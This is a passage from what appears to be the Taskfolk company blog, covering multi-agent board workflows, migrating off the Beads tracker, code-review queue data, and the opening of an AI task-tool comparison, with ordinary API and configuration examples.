converges on. I do not think it is wrong. I think it is the least interesting part of the problem. | Stage | Usually best | Why | |---|---|---| | Write | Claude Code | Long autonomous multi-file runs, plus first-party worktree isolation | | Review | Codex, or a second Claude Code session | A second opinion is only worth having if it did not write the code | | Polish | Cursor | Tight edit loop with a human watching the diff land | As an intention, that table is worth nothing. On Tuesday afternoon you will hand the reviewer agent a half finished feature because it was the terminal already open. The split becomes real when it is a column on a board and a permission on a key. Columns first. Give the project one status per stage, named for the work rather than the tool (`Building`, `In review`, `Polishing`), then decide which moves are legal. In Taskfolk the allowed transition list is the enforced control: a move that is not on the list returns an error from every write path, REST and MCP included. The work in progress number is not enforced. The board renders the count against the limit and highlights the column when it goes over, and that is the whole behaviour. Any post telling you a WIP limit will refuse a card is guessing. ![The board statuses tab in Taskfolk project settings, showing custom workflow columns with their category mapping and colour, and the controls for reordering them and setting allowed transitions.](/images/blog/custom-workflow-statuses-board-statuses-tab.webp) Now the handoff is a status change instead of a paste. The writer sets `In review` and stops. The reviewer finds a ticket in its column with a pull request link on it, and the ticket carries the decisions, so nobody re-explains anything. [Two agents, one backlog](/blog/coordinate-two-agents-with-issue-status-handoffs) works through the columns as protocol argument in more depth. None of it survives a bad ticket. A column cannot rescue a one line description, and the fields that decide whether an agent finishes or flails are a separate subject: [how to write a ticket an AI agent can actually finish](/blog/write-tickets-ai-agents-can-finish). ## Three identities, and what each may write [A shared backlog for AI coding agents](/blog/shared-backlog-for-ai-coding-agents) covers the roster mechanics generally, so this section is only the part that changes when the three agents come from three vendors. Connect each one separately instead of sharing a key. Connecting mints an API key whose creator is that agent's own user record, which is what puts the right name on activity, comments and assignment history. Three keys is bookkeeping. Three attributions is the point: when the reviewer disagrees with the writer, you want that argument sitting on the ticket with two names on it. A reviewer that can write every field will eventually reassign its own ticket to itself and close it. Stopping that takes two controls rather than one. Set the field policy allowlist to the fields review actually needs, and leave `assignee` out of it: ```json { "field_policy": ["status", "labels"] } ``` Then grant that key the `comments:write` scope so it can still report what it found. Comments are governed by scopes, not by the field allowlist, which is why one control is not enough. The allowlist is also per field and not per value: you can say this agent may write status, or may not write status. You cannot say it may only set status to `In review`. I would like that too. ![The agent field permissions dialog in Taskfolk, showing the fourteen issue field toggles with only a few enabled, so the agent can write those fields and nothing else.](/images/blog/manage-a-team-of-ai-agents-policy-dialog.webp) [How to set agent field permissions](/docs/how-to-set-agent-field-permissions) is the walkthrough. The same allowlist is your main blast radius control when a ticket contains text you did not write, which is [its own post](/blog/prompt-injection-starts-in-the-ticket). ## How the second agent finds out The writer finishes at 02:14. The reviewer is a process on a machine somewhere, and nothing tells it anything. This is the gap that kills most homegrown multi agent setups, and the usual advice about it is wrong. Polling is fine. The argument that polling is expensive does not survive arithmetic: a Taskfolk key allows 600 requests a minute by default, and a ten second poll spends six of them. What polling actually costs is latency and visibility. The queue exists only inside whatever loop you wrote, so nobody else can inspect it, and nothing replays the hours your laptop spent asleep. The alternative is one long lived Server-Sent-Events connection per agent, opened with that agent's own key. ```bash curl -N "https://taskfolk.ai/api/v1/workspaces/acme/agent-events?since=2026-07-26T02:00:00Z" \ -H "Authorization: Bearer tfk_live_a1b2..." ``` ```python import httpx url = "https://taskfolk.ai/api/v1/workspaces/acme/agent-events" params = {"since": "2026-07-26T02:00:00Z"} headers = {"Authorization": "Bearer tfk_live_a1b2..."} with httpx.stream("GET", url, params=params, headers=headers) as r: for line in r.iter_lines(): if line.startswith("data: "): handle(line[6:]) ``` ```text : connected data: {"type":"ready"} data: {"type":"issue.assigned","issue_key":"APP-14","at":"2026-07-26T02:14:52Z"} : ping ``` The endpoint needs the `agents:read` scope; a human key gets a 400 telling you to use the agent's key instead. Five event types arrive on it: `issue.assigned`, `comment.mention`, `session.updated`, `automation.notify` and `chat.message`. Payloads carry pointers plus an excerpt clamped to 240 characters, never full content, and a heartbeat every 25 seconds makes a dead connection obvious. `since` is the parameter that matters overnight. It replays missed events out of the source tables, clamped to a 24 hour window, so the laptop that slept through the night reconnects and catches up instead of losing the assignment. Two things then happen without the agent doing anything. Assigning an issue to an agent creates a `pending` session immediately, so tomorrow morning's queue is visible tonight, and a run that stops sending heartbeats reads as stalled after 30 minutes rather than quietly hanging. Separately, the `notify_agent` automation action wakes an agent straight from a rule: it publishes an `automation.notify` event on that agent's stream and touches nothing on the issue. ![The agent sessions list in Taskfolk showing sessions in different states with their issue, agent, duration and status, including a pending session created by assignment.](/images/blog/how-to-delegate-work-to-an-agent-sessions-list.webp) One feature crossing three agents, end to end. Taskfolk delivers the trigger and keeps the record; each agent's own runtime does the work, on your machine or in your CI. ```mermaid sequenceDiagram participant Human participant Board participant Writer participant Reviewer Human->>Board: assign APP 14 to Writer Board->>Board: create pending session Board-->>Writer: issue.assigned Writer->>Board: claim session, status Building Writer->>Board: status In review, attach PR link Board-->>Reviewer: issue.assigned Reviewer->>Board: comment findings, status Polishing ``` All three agents call the same tool catalogue, because the MCP tools are generated from the REST specification rather than maintained next to it. [Claude Code task management](/blog/claude-code-task-management) and [Cursor task management](/blog/cursor-agent-project-management) cover the per tool setup. ## What a shared board still cannot do We do not sync anyone's memory, rules file or context window. Nothing in Taskfolk writes to your `CLAUDE.md`, your `AGENTS.md` or your `.cursor/rules`. If a post from us ever says otherwise, it is wrong. We also do not run your agents. The stream delivers triggers, the session row stores what happened, the runtime stays yours. [The installable skill bundle](/docs/how-to-install-taskfolk-as-an-agent-skill) generates MCP client configs for Claude Desktop, Cursor and VS Code, and no Codex config. Until that changes, write the TOML by hand: ```toml # ~/.codex/config.toml [mcp_servers.taskfolk] url = "https://taskfolk.ai/api/mcp/v1" bearer_token_env_var = "TASKFOLK_API_KEY" ``` Claude Code takes the same endpoint from the command line. The `--transport http` flag is not optional there; a JSON entry with a `url` and no transport is a configuration error, and the failure message it produces does not say so. ```bash claude mcp add --transport http taskfolk https://taskfolk.ai/api/mcp/v1 \ --header "Authorization: Bearer $TASKFOLK_API_KEY" ``` The biggest limit is the one the arXiv number was really about. No board stops two agents editing the same file. That is a git problem, and Anthropic already shipped an answer: [`claude --worktree `](https://code.claude.com/docs/en/worktrees) creates an isolated checkout under `.claude/worktrees/` on its own branch, a custom subagent can carry `isolation: worktree` in its frontmatter, and a `.worktreeinclude` file copies gitignored files like `.env` into every new one. Worktrees keep the files apart. The board keeps the work apart. You need both, and a tracker claiming to solve the first one is selling you something. If you already run two of these, the smallest useful change is one review column on one project, transitions set so nothing can jump straight to done, and one agent connected to sit in it. Everything else here is an argument about what to do once that column starts earning its keep. --- # When a task file stops scaling for your AI agents URL: https://taskfolk.ai/blog/when-a-task-file-stops-scaling Published: 2026-07-26 Author: The Taskfolk team Tags: alternatives, AI agents, MCP, agentic project management, comparison, how-to, developer Beads is a good issue tracker for AI agents and a solo developer should stay on it. Here is the point a repo local backlog stops scaling, and what moving costs. A teammate asks where the auth rewrite stands. The answer lives in a database inside your working copy, and the fastest way to show them is a screenshot of `bd list` in Slack. Nothing is broken. You just cannot hand anyone a link. We build Taskfolk, a hosted tracker, so the bias is obvious. What follows is where a repo local backlog stops fitting, what moving costs, and how to move back out. If you stay put, that is a correct outcome. ## What Beads gets right, and who should stay on it Beads (`bd`) is a graph issue tracker built as memory for coding agents. MIT licensed, written in Go, past 25,000 GitHub stars, and v1.1.2 published on 26 July 2026, the day we checked every number here. Task Master, which occupies the same niche, last shipped 0.43.1 in March 2026. One correction first. If a write up tells you Beads keeps issues in SQLite with a JSONL file as the git tracked source, it predates February 2026. Embedded Dolt became the default in v0.49.3 on 1 February, and v0.50.2 nudged the last SQLite users out two weeks later. The database lives at `.beads/embeddeddolt/` and syncs against `refs/dolt/data`. The [README](https://github.com/gastownhall/beads) is blunt about the file everyone still writes about: it is "an export for viewers and interchange, not the source of truth or a backup." What that buys is real. `bd ready` walks the dependency graph and hands back unblocked work with no network call. Hash IDs stop two agents on two branches minting the same id, and Dolt's cell level merge handles the rest. The dependency graph is a first class object rather than a link type bolted onto a ticket. If you are one developer with one repo and two or three agents, stop reading. Beads is very likely the right answer and the rest does not apply. ## The boundary is the first person who will not clone the repo The usual argument against a file shaped backlog is that it collapses the moment you run two agents. We made that argument in [a shared backlog for AI coding agents](/blog/shared-backlog-for-ai-coding-agents), and against Beads it does not hold. Hash IDs, cell level merge, an atomic `bd update --claim` and a server mode all exist so parallel sessions do not fight. DoltHub is [explicit](https://www.dolthub.com/blog/2026-05-29-evolving-with-beads/) that server mode "allows you to run many coding agent sessions against the same Git repo." So Beads scales agents. It stops at people, because every read path begins with a clone and a binary. ```mermaid flowchart LR agent["Coding agent"] --> db[("Local Dolt database")] dev["Developer with a clone"] --> db pm["Product lead"] --> wall["Needs a clone and a binary"] support["Support engineer"] --> wall ``` It shows up as a habit rather than an error. Someone asks for a status link, you cannot produce one, so you paste a terminal screenshot. Do that twice a week for a month and you are the reporting layer for your own project. There is no official web UI, and the community ones are local first by design. The nearest thing to a shareable URL is the static site Bead Me Up, Scotty publishes, if someone regenerates it. ![A kanban board with Backlog, To do, In progress and In review columns, cards carrying issue keys, labels and avatars.](/images/blog/how-to-use-a-kanban-board-overview.webp) ## Who did it, and who is allowed to Beads records an actor on every write. Its [configuration reference](https://beads.gascity.com/reference/configuration) resolves it in a fixed order: the `--actor` flag, then `BEADS_ACTOR`, then `BD_ACTOR`, then `git config user.name`, then `$USER`, then the string `"unknown"`. Nothing in that chain is authenticated. It is a string the caller declares, with an env override and an unknown fallback. You find out the day you open a closed ticket's history and the actor is your own `$USER`, because the agent ran as you. Connecting an agent to Taskfolk creates a real user row flagged as an agent, a member row, a profile, and an API key whose creator is that agent's own user id. Everything the key writes carries that identity, so the agent shows up in the assignee picker, in mentions and in the activity log. Its address sits on a subdomain with no mail routing, so the magic link that would sign it in has nowhere to land. More in [managing AI agents](/blog/manage-a-team-of-ai-agents). ![An agents page listing four connected agents by name and client, each with its own API key, over a feed of agent sessions.](/images/blog/manage-a-team-of-ai-agents-hub-roster.webp) Permissions follow from the same gap: there is no authenticated principal to attach a write policy to. Beadbox, a GUI vendor built on Beads, [says this](https://beadbox.app/en/blog/linear-alternatives-local-first-issue-tracking) about its own product, and it fits the storage model underneath just as well. "There are no user accounts, no roles, no per-issue visibility restrictions. Everyone with filesystem access to the .beads/ directory (or the Dolt server) can read and write everything." The nearest thing Beads ships is `agent.profile`, which governs git authority for `bd prime`, not issue fields. What breaks when a contractor joins is the assumption, not the code. Ours is a per agent allowlist over fourteen issue fields, enforced at one write choke point covering REST, the transition endpoint and MCP. It is per field, not per value: you decide whether an agent may write status at all, not that it may only move things to In Review. Setup is in [setting agent field permissions](/docs/how-to-set-agent-field-permissions). ![A dialog titled What can this agent edit, with fourteen field checkboxes where only Status, Priority and Labels are ticked.](/images/blog/manage-a-team-of-ai-agents-policy-dialog.webp) ## The shared view is per machine, and upgrades are a team event Beads does cross repo work, and pretending otherwise would be lazy. `bd repo add` and `bd repo sync` hydrate other repositories into one read view, every issue carries a `source_repo`, and `external::` points a dependency at another project. The catch is where that configuration lives: one machine, one person's config. Two people with different repos registered read different backlogs, and neither can hand the third person anything. The other cost grows with headcount. When an upgrade crosses a schema migration on a remote backed database, the README says one designated clone runs `bd migrate` and `bd dolt push` while everyone else installs the binary and runs `bd bootstrap`. A version guard refuses to open a database a newer binary migrated. At two people that is a Slack message. At eight it is a scheduled event whose symptom is a teammate whose `bd` broke after an unrelated `brew upgrade`. ## What actually differs Both tools track issues with dependencies and both do it well. What decides it is identity, access, audience and hosting. | | Beads | Taskfolk | |---|---|---| | Attribution | Declared string, `unknown` fallback | Authenticated user or key | | Per agent write limits | None | 14 field allowlist | | Status without a clone | Static export only | A URL, after an invite | | Cross repo view | Per machine config | Same for everyone | | Unblocked work | `bd ready`, offline | None; list, then links | | Offline | Every query is local | None | | Upgrades | One clone migrates | Hosted | | Cost | Free, MIT, no account | 5 projects free, then $3 a seat | ## The migration, worked Issues first, then the edges, because a link cannot exist until both endpoints do. ```mermaid flowchart LR bd["bd export"] --> jsonl["issues.jsonl"] jsonl --> bulk["POST bulk, 50 per call"] bulk --> links["Second pass, links"] links --> ws["Workspace"] ws --> back["GET issues and links"] back --> imp["bd import upserts"] ``` Start with the export. Memories from `bd remember` are excluded by default, which is what you want. ```bash bd export -o issues.jsonl ``` Each line is one issue with its labels, dependencies and comments. What carries over is `issue_type`, `priority`, `status`, `labels`, `dependencies`, `comments`, and the `external_ref` / `source_system` pair for cross system ids. ```json {"id":"core-8f2","title":"Rotate the signing key","issue_type":"chore","priority":1,"labels":["auth"],"dependencies":[{"depends_on_id":"core-4a1","type":"blocks"}]} ``` Three mappings lose information, and choosing the loss beats discovering it in week three. Beads `bug`, `task` and `epic` pass through, `feature` becomes `story`, and `chore` and `decision` land on `task`. Priorities run `0` to `4` where `0` is Critical and `4` is Backlog, so the bottom of that ladder is a queue position rather than an urgency; ours are six named levels and `4` becomes `lowest`. Link types `discovered-from`, `supersedes` and `replies-to` have no equivalent: ours are `relates_to`, `blocks` and `duplicates`, plus parent child. One trap will cost you an afternoon. `parent` is accepted on create and ignored on update, so a child created before its parent cannot be reparented over the API. Sort the export so epics and parents go first. Then create, in batches of 1 to 50. The response is 201 when every item lands and 207 when some fail, with the index that broke. ```bash curl -X POST https://taskfolk.ai/api/v1/workspaces/acme/projects/CORE/issues/bulk \ -H "Authorization: Bearer tfk_live_a1b2..." \ -H "Content-Type: application/json" \ -d '{"items":[{"type":"task","title":"Rotate the signing key","priority":"high"}]}' ``` ```javascript await fetch("https://taskfolk.ai/api/v1/workspaces/acme/projects/CORE/issues/bulk", { method: "POST", headers: { Authorization: "Bearer tfk_live_a1b2...", "Content-Type": "application/json" }, body: JSON.stringify({ items: batch }), // 50 at a time }); ``` ```python requests.post( "https://taskfolk.ai/api/v1/workspaces/acme/projects/CORE/issues/bulk", headers={"Authorization": "Bearer tfk_live_a1b2..."}, json={"items": batch}, ) ``` ```json {"data":[{"index":0,"ok":true,"data":{"key":"CORE-118","title":"Rotate the signing key"}}]} ``` Keep a map of Beads id to issue key and replay `dependencies[]` against it. Links resolve cross project inside a workspace, so a dependency that pointed at another repo still lands. A key allows 600 requests a minute by default, putting a 4,000 issue backlog at 80 create calls plus one per edge. ```bash curl -X POST https://taskfolk.ai/api/v1/workspaces/acme/projects/CORE/issues/CORE-118/links \ -H "Authorization: Bearer tfk_live_a1b2..." \ -d '{"kind":"blocks","direction":"in","target_key":"CORE-104"}' ``` ![A timeline of issue keys and colored bars, with dashed dependency lines from one bar to the bar it blocks.](/images/blog/gantt-chart-with-dependencies-dependency-arrow.webp) Skip the CSV importer. It is faster and drops exactly what you came to Beads for: a parsed row carries title, type, status, priority, assignee, labels and description, and no parent, no dependencies, no links. There is no Beads connector; [how to import your project](/docs/how-to-import-your-project) covers Jira and Trello. ## Your agents keep a command shaped loop None of this is worth doing if your agents get worse at their job. They keep talking to a tool; it just answers over HTTP now. Our MCP server is one Streamable HTTP endpoint whose tool catalogue is generated from the OpenAPI registry that defines REST, so the two cannot drift: over 180 operations, scope filtered per key. [MCP or the REST API](/blog/mcp-or-rest-api-for-your-agent) has the short version. The generated skill bundle saves the most setup time. Its SKILL.md is built from your live workspace inventory, so the agent starts with your real project keys, labels, custom fields and mention handles instead of guessing. ![A Skills tab with tabs for Claude Code, Cursor, VS Code and Codex above a copyable command that adds the MCP server.](/images/blog/how-to-install-taskfolk-as-an-agent-skill-skills-claude-code.webp) Where you lose is `bd ready`, and it is worth being exact. No single call returns unblocked work. The v1 issue list filters on status, type, priority, assignee, reporter, milestone, sprint, parent, label and a text query, and none of those is "unblocked". Blocked state is derived inside the app for the board and list views, not exposed as a query parameter. So the agent lists open work, reads `/links` for the candidates and decides for itself: more calls, more tokens, and a network dependency where there was none. Beads' own [FAQ](https://beads.gascity.com/reference/faq) prefers the CLI over MCP for the same reason, lower context overhead, and we have no clean answer. Ticket quality moves an agent's success rate further than transport does, and [writing tickets an agent can finish](/blog/write-tickets-ai-agents-can-finish) covers that. ## What you lose, and how to get back out Beads gives you one database per repo at no cost. Our free tier caps you at 5 active projects, so a developer with eight repos, each with its own `.beads/`, hits a wall Beads never had. Pro is $3 per editor seat per month, and connected agents and viewers are not seats. You also give up offline. There is no offline mode, no local cache and no mobile app, so a dropped connection means no backlog. On a plane, Beads wins. Leaving is the part most migration guides skip, so here it is. Page your issues and links back over REST with `?limit=200` and the cursor, write one JSON object per line in the shape `bd import` expects, then import it. Import is an upsert: a row overwrites a local issue only when its `updated_at` is newer, `tombstone` rows are skipped, and older rows return as `stale_skipped_ids`. ```bash curl -s "https://taskfolk.ai/api/v1/workspaces/acme/projects/CORE/issues?limit=200" \ -H "Authorization: Bearer tfk_live_a1b2..." | ./to-beads-jsonl.py > out.jsonl bd import out.jsonl ``` Stamp `external_ref` and `source_system` on the way out so a second run is idempotent, and park the Beads id in a text custom field on the way in. That is what makes running both side by side workable, though Beads syncs bidirectionally with GitHub, Jira and Linear while ours is a script you maintain. Rather than argue about the seam, test it. Export one repo's backlog, create the issues in a free workspace, and send the board link to whoever keeps asking you for status. If they stop asking, the seam was real. --- # AI made code review the bottleneck, not writing code URL: https://taskfolk.ai/blog/ai-made-code-review-the-bottleneck Published: 2026-07-26 Updated: 2026-07-28 Author: The Taskfolk team Tags: AI agents, agile, workflow, code review, WIP limits, metrics, engineering management The AI code review bottleneck, checked against three 2026 datasets: the delay is queue wait, not review time, so a review bot aims at the wrong term. Your board says the team is moving. GitHub says 41 open pull requests, the oldest eleven days old, and the feature you promised for Thursday still is not out. Everyone reports feeling faster, and about their own hours they are probably right. GitLab's AI Accountability Report, fielded by The Harris Poll among 1,528 developers and technology buyers in six countries and published 23 June 2026, found 85% agreeing that AI has shifted the bottleneck from writing code to reviewing and validating it. That is a survey, so it measures a feeling. Three telemetry datasets from this year agree with it, then contradict almost every fix sold for it. My bias, once: I work on a project tracker. It turns up in one section near the end, with what it cannot do written down. ## Three datasets, three dates, and what they actually say Most posts on this topic quote the same pair of numbers, 98% more pull requests merged and 91% longer review time, with no date on them. Both are from Faros AI's July 2025 report. The 2026 edition is an order of magnitude worse. | Dataset | Published | Sample | The number that matters | |---|---|---|---| | CircleCI, State of Software Delivery | 18 Feb 2026 | 28.7M workflows | Feature branch throughput up 15%, main down 7% | | LinearB, Engineering Benchmarks | 2026 | 8.1M+ PRs | AI PRs wait 4.6x longer for pickup, review 2x faster | | Faros AI, 2026 engineering report | 12 Apr 2026 | 22,000 developers | Time in review up 441.5%, unreviewed merges up 31.3% | The [CircleCI split](https://circleci.com/blog/five-takeaways-2026-software-delivery-report) is the shape of the problem. Across 28.7 million workflows from September 2025, the median team ran 15% more feature branch work and 7% less on main. More gets built. Less arrives. [Faros](https://www.faros.ai/blog/ai-acceleration-whiplash-takeaways) compared each organization against itself, lowest AI adoption period against highest. Epics completed per developer rose 66%, median time in code review rose 441.5%, and bugs per developer rose 54% against the 9% its 2025 edition reported. Same companies before and after, so weak teams do not explain it. ## The most quoted number in this argument is the wrong one Half the pages on this topic tell you developers feel 20% faster and are actually 19% slower. The result is real. It is not what most people cite it for. It comes from METR, 10 July 2025: 16 experienced open source developers, 246 tasks, in repos they had known for years. Sixteen people, and the number now gets quoted beside LinearB's 8.1 million pull requests as though the two were the same kind of evidence. It is also out of date. [METR's update of 24 February 2026](https://metr.org/blog/2026-02-24-uplift-update/) ran 57 developers at $50 an hour instead of $150. The returning group now shows an 18% speedup, confidence interval from 38% faster to 9% slower, and METR calls the signal unreliable: developers unwilling to work without AI declined to take part, and 30% to 50% of participants skipped tasks they did not want to do unassisted. Quote the 19% today without that update and you are doing the thing this post exists to complain about. Whether AI makes one developer faster is unsettled. Whether the queue in front of review got longer is not. ## It is a queue, and queues are not mysterious ```mermaid flowchart LR A["Arrivals from humans and agents"] --> B["Queue of open PRs"] B --> C["Review, the service stage"] C --> D["Merge to main"] D --> E["Deploy and enable"] ``` Work arrives, waits, gets served, leaves. When arrivals rise and the service rate does not, the line grows and everything in it waits longer. Agner Erlang worked this out for telephone exchanges in 1909, and the math does not care that a model writes the arrivals now. The [LinearB benchmarks](https://linearb.io/resources/software-engineering-benchmarks-report), drawn from 8.1 million pull requests across 4,800 organizations, tell you which term moved. AI-assisted pull requests wait about 4.6 times longer before anyone picks them up, agentic ones 5.3 times longer, and once a human starts reading they are reviewed about twice as fast. Service time went down. Wait time went up by a factor of five. The delay is not in the reviewing, it is in front of the reviewing. The other term people skip is batch size. Faros measured average PR size up 154% in 2025 and up 51.3% in the 2026 dataset. A bigger unit is slower to serve and harder to start, which is why nobody opens it at four on a Tuesday. LinearB puts acceptance of AI-generated PRs at 32.7% against 84.4% for manual ones, so part of that queue is waiting to be rejected. What to do with [an agent PR that is 80 percent right](/blog/agent-pr-eighty-percent-right) is a separate call, and it happens after the wait, not during it. ## What the queue cost two projects that could not absorb it On 14 March 2026, [Jazzband announced it was winding down](https://jazzband.co/news/2026/03/14/sunsetting-jazzband): 3,135 members, 84 projects, over 150 million downloads a month. Jannis Leidel's announcement names GitHub's "slopocalypse", the flood of AI-generated spam PRs and issues, and cites the figure that one in ten AI-generated pull requests meets project standards. It names a second cause without flinching: the whole thing ran through one person, and open membership with shared push access cannot absorb that arrival rate on one reviewer. curl attacked the other end. On [26 January 2026 Daniel Stenberg ended the curl bug bounty](https://daniel.haxx.se/blog/2026/01/26/the-end-of-the-curl-bug-bounty/), effective 31 January, closing a program that had run since April 2019 and paid over $100,000 across 87 confirmed vulnerabilities. Confirmed submissions had been north of 15% in earlier years and fell below 5% from 2025 on. Paying for reports had turned into paying for triage. ## Should you buy a review bot? The rest of the internet answers yes, right after correctly diagnosing a queue problem. Prices come from each vendor's pricing page, checked July 2026. | Tool | Plan | Price | Included | |---|---|---|---| | CodeRabbit | Pro | $24/user/mo annual, $30 monthly | Reviews, pre-merge checks | | Greptile | Pro | $30/seat/mo | 50 credits/seat, $1 each after | | Graphite | Team | $40/user/mo annual | Unlimited AI reviews | A review bot earns its money on mechanical checks nobody should do by hand, and on triage that says which of the 41 to open first. If your seniors are writing lint-adjacent comments, buy one. What it does not touch is the term that moved. Capacity added to a stage that was not starved does not shorten the wait in front of it, and Faros found unreviewed merges up 31.3% in the same period that review time rose 441.5%. Part of that queue is already being cleared by not reviewing it. I sell a tracker, so I will keep the claim narrow: the delay that got measured is queue wait, not service time. One structural note: Greptile is the only one whose bill has a per-review component, so it scales with the arrival rate you are trying to bring down. ## Measure before you cap, because Fenton might be right about you Steve Fenton published [the opposite of my headline](https://thenewstack.io/ai-code-bottleneck-myth/) in The New Stack on 16 July 2026: coding was never the bottleneck, review is not the bottleneck now, and the constraint sits downstream in deployment batching. His test is good. For the service you work on, how many changes have passed review but are not yet deployed and enabled for users? ```bash DEPLOYED=$(curl -s https://your-app.example.com/version | jq -r .sha) git fetch origin main git rev-list --count "$DEPLOYED"..origin/main ``` If that count is large, close this tab and go fix deployment. Three numbers are worth having first. Time in review as a distribution, not a mean: a median of four hours with a 95th percentile of nine days is a different disease from a flat two days. Arrival rate split by author type, weekly. And the ratio of reviewed to merged, because climbing unreviewed merges mean the queue is being relieved the worst way available. ```bash gh pr list --state open --json author --jq 'group_by(.author.login)|map({(.[0].author.login): length})|add' ``` ![The Taskfolk project reports page with cards for velocity, burndown, cycle time and throughput.](/images/blog/project-reports-and-insights-reports-grid.webp) Our project reports carry cycle time and throughput; workspace insights carries median lead time across projects. [Cycle time vs lead time](/blog/cycle-time-vs-lead-time) covers which is which and [project reports and insights](/docs/project-reports-and-insights) walks the pages. Any tool will do. The number has to live where everyone sees it. ## The fixes, cheapest first First, make the queue visible. A review stage should be a named column with a count on it, not a browser tab one person keeps open. In our tracker you name the columns, each mapped to one of seven fixed status categories so reports still know what "open" means. Turning the WIP view on counts cards per column and recolours the header past a built-in target: three for review, four for in progress. I have to be exact, because most writing about this is not. That counter is a signal and it refuses nothing. There is a per-status WIP limit field in project settings, readable and writable over the API, and nothing acts on it: not the board, not any write path. If a post tells you a capped column bounces the card back, that is not what happens here. ![A Taskfolk board with the WIP view on, a card count on each column header and the review column past its target.](/images/blog/how-to-use-a-kanban-board-wip-density.webp) Second, make the sequence enforceable. Each status carries a list of the statuses it may move to, and every write path checks it: board drag, bulk edit, the REST API, the transition endpoint, automation rules. A status with no rules stays unrestricted, so the gate exists only once somebody writes the rules down. ```mermaid stateDiagram-v2 state "In progress" as Prog state "In review" as Rev [*] --> Backlog Backlog --> Prog Prog --> Rev Rev --> Done Rev --> Prog ``` Nothing reaches "Done" without passing through review: a person dragging a card, a bulk edit across 40 tickets, an agent hitting the API at 3am. ```bash curl -X POST https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues/WEB-142/transition \ -H "Authorization: Bearer tfk_live_..." -d '{"status": "backlog"}' ``` ```python requests.post("https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues/WEB-142/transition", headers={"Authorization": "Bearer tfk_live_..."}, json={"status": "backlog"}) ``` ```json { "error": { "code": "validation", "message": "Workflow blocks this transition: \"In Review\" cannot move to \"Backlog\".", "details": { "code": "workflow_transition_blocked", "from": "In Review", "to": "Backlog" } } } ``` HTTP 400, whichever door the write came through. [Custom workflow statuses](/docs/custom-workflow-statuses) covers editing the graph and [how to use a kanban board](/docs/how-to-use-a-kanban-board) covers the WIP view. ![Taskfolk workflow settings, listing each board status with the statuses it may move to.](/images/blog/how-to-use-a-kanban-board-workflow-settings.webp) Third, and this is the one with evidence behind it, reduce the arrival rate. curl did not hire reviewers. It removed the reward, and on 25 February Stenberg wrote that "the inflow tsunami has dried out substantially"; intake moved back to HackerOne on 1 March, triage only, no money. I would be selling you something if I stopped there. On 15 June the project [announced it would not accept or handle any vulnerability report during July](https://daniel.haxx.se/blog/2026/06/15/curl-summer-of-bliss/), citing "a huge pressure for the last four months or so". Cutting arrivals bought months, not a cure, and the only lever left was closing intake. You will not delete your PR queue that way, but the lever is the same shape: make each unit smaller. Split the epic before the agent starts, rather than reading 900 lines afterwards. [Write the ticket](/blog/write-tickets-ai-agents-can-finish) so a good result is 150 lines and you have done more for your queue than any bot will. [Human-in-the-loop approval](/docs/human-in-the-loop-approval-for-ai-agents) is the other half: a gate in front of a write beats a queue behind it. ## What none of this fixes We do not review code: no diff view, no inline comments on a patch, no suggested fix. If you want a machine reading your diff, buy one of the three above. Our GitHub integration consumes push and release webhooks only. It links commits to issues from `#KEY-NUM` and ships a release when a matching tag lands. It never sees `pull_request` events, so it does not know a PR's review state: a column called "In review" is your team's word for it, not GitHub's. GitHub is the only provider, so GitLab and Bitbucket teams get nothing here. A board cannot make a reviewer read carefully. It can make skipping the stage impossible and the queue impossible to ignore. Everything past that is one person, one hour, and their attention. More of that attention now comes from people who used to spend it writing code, which is part of [what your junior engineer does now](/blog/what-your-junior-engineer-does-now). ## One thing to do this week Turn the counter on, or write the number on a whiteboard if your tool has none. Then do nothing for five days except look at it each morning: how many sit in review, how many merged, how many arrived. Most teams find one of three things. The queue is flat, in which case Fenton is right about you. It grows from human PRs, a staffing problem. Or from agent PRs, a batch size problem. Five mornings of counting costs less than any of the fixes. If you would rather argue frameworks first, [scrum vs kanban](/blog/run-sprints-without-the-ceremony) is the honest version, and neither causes this. If you want the columns and transition rules without the argument, Taskfolk is free for five projects and a counted review column takes ten minutes. --- # The best AI task management tools in 2026, honestly compared URL: https://taskfolk.ai/blog/best-ai-task-management-tools Published: 2026-07-22 Updated: 2026-07-25 Author: The Taskfolk team Tags: task management, comparison, AI agents AI task management splits in two: scheduling your own day, and getting agents to do the work. We compare Motion, Todoist, Notion, ClickUp, Sunsama and Taskfolk. "AI task management" is two products wearing one label, and the reviews that lump them together send half their readers to the wrong tool. One is a personal AI task manager: you give it your tasks, it plans your day and reshuffles when things slip. The other is task management for a team, where the interesting question is not whether the AI can schedule you, but whether AI agents can pick up a task and actually do it. This post keeps the two apart and compares the real options in each. Disclosure up front: we make Taskfolk, which is in the team half below. We will tell you plainly where it fits and where it does not, including that it is not a personal calendar auto-scheduler and should not be bought as one. ## Two different jobs An AI task manager, in the personal sense, does one thing well: it takes a pile of tasks with deadlines and rough durations and turns them into a plan for your day, then reflows that plan when a meeting overruns or you add something urgent. Motion, Sunsama, Akiflow, and Todoist's AI features live here. The user is one person, and the win is that you stop spending twenty minutes every morning deciding what to work on. AI task management for a team is a different animal. The unit is not your calendar, it is shared work moving across a board, and the AI question that matters is execution: can an agent be assigned a task and move it forward on its own, under review? That is what [AI task management](/ai-task-management) means on the team side, and it is closer to hiring than to scheduling. The two rarely overlap in one product, so decide which problem you have before you read a single price. ## The comparison | Tool | What the AI does | Best for | Price signal | |---|---|---|---| | Motion | Auto-schedules your tasks onto your calendar and reflows when things slip | Individuals and tiny teams buried in meetings | ~$13 to $19 per seat, no free plan | | Todoist AI | Suggests due dates, parses natural language, drafts and breaks down tasks | Personal list-keepers who want light AI, not a scheduler | Free tier; Pro ~$4 | | Sunsama | Guided daily planning that pulls tasks in and time-boxes your day | Individuals who want a calm, deliberate daily ritual | ~$16 to $20 per seat | | Notion AI | Q&A over your pages, drafting, and agents inside docs and databases | Docs-first people whose tasks live in Notion already | AI folded into Business, ~$20 per seat | | ClickUp Brain | Summaries, writing help, AI fields, workspace Q&A | All-in-one teams who will use AI daily across the app | $7 seat + $9 per user for Brain | | Taskade | AI agents and generators inside its outliner and boards | Small teams wanting AI-built task lists and light automation | Free tier; paid ~$8 to $16 | | Taskfolk | AI agents pick up assigned tasks and move them through review over MCP or REST | Teams putting agents to work on a real board, under review | $3 per builder; viewers and agents free | Prices are per user per month on annual billing, from public pages as of July 2026. Read them as a signal, not a quote. ## The personal AI task managers **Motion** is the category's flagship auto-scheduler. You give it tasks with durations and deadlines, and it packs them onto your calendar around your meetings, then rebuilds the 